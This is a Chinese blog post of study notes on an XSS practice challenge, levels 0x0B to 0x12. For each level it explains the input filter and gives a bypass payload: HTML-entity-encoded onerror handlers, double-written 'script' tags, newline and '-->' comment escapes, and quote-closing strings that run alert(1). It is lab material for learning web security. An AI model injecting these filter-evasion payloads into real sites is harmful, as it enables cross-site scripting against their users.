学习笔记——迷上xss的第二天3

还是这个网站:地址

0x0B

此关使用toUpperCase函数对于输入进行了转成大写的操作,对于大小写的问题,html 标签, 域名 不区分大小写,path部分区分大小写。

按照官方的题解还是通过去引用外部的js来绕过大小写的限制,让evil服务器返回J.JS就可以,但是用官方的那个js仍然出现不能弹窗的情况,官方题解:<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

后来看到网上说使用uniocde编码也可以解决绕过大小写,因为js解析器在工作时回对unicode先进行解码,例如这里会被先解析成alert(1)从而实现弹窗,htmlunicode编码格式:&#编码的十进制数值,一般的格式还有直接\u开头的16进制四位编码,一定是四位,否则报错。参考:

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0C 

此关比上一关对了一层过滤,即将script替换为空,且不论大小写,同样的还是可以使用上一关中官方的题解给的js,只不过要绕过script,可以通过双写来绕过<scrscriptipt>,但是js还是用不了。。。但是还是可以使用上一关的payload!!!

0x0D

此关是对于输入的< / " '等进行了过滤,将其转换成空,并且在输入处进行了单行注释,这里可以通过使用换行符进行绕过,但换行仅能过单行注释,代码还是不能正常运行。

//使用换行符绕过前面的单行注释
alert(1);

得到:

<script>
          // alert('
alert(1);')
    </script>

由于后面跟着的 \') 违反了语法规则,alert(1);不会被执行,又发现上面的正则过滤过滤掉了 \<!-- 和 \/\/ 两种可能的注释,但其实 --> 可以注释掉所在行的内容,所以:

//换行,绕过前面的注释
alert(1); //再换一次行,否则会被后面的注释符注释掉
-->//单行注释,注释后面的多余信息

0x0E

此关对于所有以<开头的加任意大小写字符的进行替换为<_且再将所有小写字母换成大写。查阅了资料发现,阿拉伯字母ſ大写是正常的S,从而可以绕过<script>限制,再就还是用外链的方式加载外部js,但是没有弹窗,求大佬解答,这是为啥子?

 

 0x0F

这个转义过滤看似很严格,但是对html标签内部字符的转义是没有意义的(html会先把它们转义回来再解析),直接当这个过滤不存在就行。

');alert('1

  0x10

这关直接将输入赋给window.data,而window是浏览器的窗口,且这里没有做过滤,所以直接先闭合语句,再赋值alert(1),此外直接赋值alert(1)也可以 。

1: '';alert(1)
2: alert(1)

  0x11

此关过滤了一堆字符,在其前多加了一个反斜号,这种情况我们就可以利用替换后的字符构造语句。"被转义成\"正好可以闭合console.log("\"),而后使用分号闭合语句后就可尝试构造弹窗语句,然后//注释后面的字符。此外除了用注释符注释后面语句,还可以用引号包裹alert所要弹出内容让其与后面引号匹配

1 : ");alert(1)//
2 : ");alert("1

  0x12

此关首先是将"替换为\\",在是对于输入使用单引号包裹。这里我们还是可以使用转义后的语句尝试闭合和构造语句,先使用一个"会发现只是被替换成\",此时添进去的引号被没有起到闭合的作用。

xss

所以就要再多加一个\,使得其变成\\"这是转义后的双引号,他就可以起到闭合的作用了,但此时还未能是括号闭合所以还要写成\")才能完成。

xss

闭合好前面语句后,由于这里没有其他过滤操作了,所以在使用分号分隔两句之后就可以直接使用语句弹窗\");alert(1)。但是这里会发现在语句的最后还多了一开始的"),这里直接注释掉即可。

 \");alert(1)//
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值